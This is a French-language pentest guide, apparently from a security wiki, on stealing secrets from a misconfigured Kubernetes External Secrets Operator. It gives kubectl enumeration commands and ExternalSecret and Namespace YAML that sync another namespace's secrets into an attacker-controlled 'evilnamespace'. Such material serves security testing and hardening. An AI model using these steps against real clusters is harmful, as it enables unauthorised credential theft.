External Secret Operator

Reading time: 4 minutes

L'auteur original de cette page est Fares

Cette page donne quelques indications sur la façon dont vous pouvez réussir à voler des secrets d'un ESO mal configuré ou d'une application qui utilise ESO pour synchroniser ses secrets.

Avertissement

La technique montrée ci-dessous ne peut fonctionner que lorsque certaines conditions sont remplies. Par exemple, elle dépend des exigences nécessaires pour permettre à un secret d'être synchronisé sur un namespace que vous possédez / avez compromis. Vous devez le découvrir par vous-même.

Prérequis

1. Un point d'accès dans un cluster kubernetes / openshift avec des privilèges d'administrateur sur un namespace
2. Accès en lecture sur au moins ExternalSecret au niveau du cluster
3. Déterminer s'il y a des labels / annotations ou une appartenance à un groupe requis qui permettent à ESO de synchroniser votre secret. Si vous avez de la chance, vous pouvez voler librement tout secret défini.

Collecte d'informations sur l'existant ClusterSecretStore

En supposant que vous avez un utilisateur qui a suffisamment de droits pour lire cette ressource ; commencez par lister d'abord les ClusterSecretStores existants.

kubectl get ClusterSecretStore

Enumeration d'ExternalSecret

Supposons que vous ayez trouvé un ClusterSecretStore nommé mystore. Continuez en énumérant son externalsecret associé.

kubectl get externalsecret -A | grep mystore

Ce ressource est limitée à un espace de noms, donc à moins que vous ne sachiez déjà quel espace de noms rechercher, ajoutez l'option -A pour chercher dans tous les espaces de noms.

Vous devriez obtenir une liste des externalsecret définis. Supposons que vous ayez trouvé un objet externalsecret appelé mysecret défini et utilisé par l'espace de noms mynamespace. Rassemblez un peu plus d'informations sur le type de secret qu'il contient.

kubectl get externalsecret myexternalsecret -n mynamespace -o yaml

Assembling the pieces

À partir d'ici, vous pouvez obtenir le nom d'un ou plusieurs noms de secret (comme défini dans la ressource Secret). Vous obtiendrez une sortie similaire à :

kind: ExternalSecret
metadata:
annotations:
...
labels:
...
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...

Jusqu'à présent, nous avons :

• Nommer un ClusterSecretStore
• Nommer un ExternalSecret
• Nommer le secret

Maintenant que nous avons tout ce dont nous avons besoin, vous pouvez créer un ExternalSecret (et éventuellement patcher/créer un nouveau Namespace pour respecter les prérequis nécessaires pour synchroniser votre nouveau secret) :

kind: ExternalSecret
metadata:
name: myexternalsecret
namespace: evilnamespace
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret

kind: Namespace
metadata:
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace

Après quelques minutes, si les conditions de synchronisation sont remplies, vous devriez pouvoir voir le secret divulgué dans votre espace de noms.

kubectl get secret leaked_secret -o yaml

Références

Introduction - External Secrets Operator

GitHub - external-secrets/external-secrets: External Secrets Operator reads information from a third-party service like AWS Secrets Manager and automatically injects the values as Kubernetes Secrets.